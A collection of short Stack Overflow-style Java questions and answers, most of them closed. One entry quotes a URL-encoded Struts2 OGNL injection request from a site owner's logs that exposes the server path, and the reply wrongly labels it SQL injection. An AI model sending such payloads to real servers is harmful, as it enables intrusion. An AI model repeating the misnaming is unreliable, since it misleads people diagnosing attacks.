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Closed 7 years ago.
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How can I create a custom exception in java without extending any built-in exception class?
You can't. In Java, you can only throw a class that (eventually, somewhere down the line) extends java.lang.Throwable.
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Closed 7 years ago.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
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today i've logged in and see it for the 1st time:
mysite.com/?debug=command&expression=%23res%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()
after that another one:
mysite.com/?redirect:
what can it cause? Injection databse? Virus?
It looks like someone is trying exploit an SQL injection vulnerability in struts2 in order to perform remote code execution.
See http://struts.apache.org/docs/s2-016.html
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Closed 8 years ago.
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I tried to find out what the manufacturer of my memory and have not had much success.
Does someone could help me figure this out, using a java command or a command terminal, in case I want to find this in Windows, because Linux already managed to do.
Thanks.
From windows CMD use following command,
wmic MemoryChip get Manufacturer
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This question appears to be off-topic because it lacks sufficient information to diagnose the problem. Describe your problem in more detail or include a minimal example in the question itself.
Closed 9 years ago.
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I need some kind of documentation how the access to java objects is handled?
e.g.:
what happens when an object is updated?
how does java find and index the elements in the memory?
Thank you
I think google is the best way to find it, but you can try to look here.
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Closed 9 years ago.
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How to restrict access to the site from a particular machine, so that the page is always accessed from a particular machine only.
You can try using getRemoteAddr() available in ServletRequest, to find which IP is trying to access your site and block if necessary.
Useful Links:
http://docs.oracle.com/javaee/6/api/javax/servlet/ServletRequest.html
http://docs.oracle.com/cd/E19857-01/821-0980/bhaip/index.html
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Closed 9 years ago.
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In fall 2013 Spring has launched its new Website (spring.io) and announced its new platform "Spring IO". But what does this name/abbreviation "IO" mean?
I am NOT asking for any (technical) description of what Spring IO is, I am only interested in the name.
This question is not about the name of the website, it is about the name of the platform! - It think names are important for programming, and good names help to understand programs faster (Clean code), so I hope this name is not only a marketing gag
its Integration Objects as given in the link http://java.dzone.com/articles/spring-and-c24-io-accelerating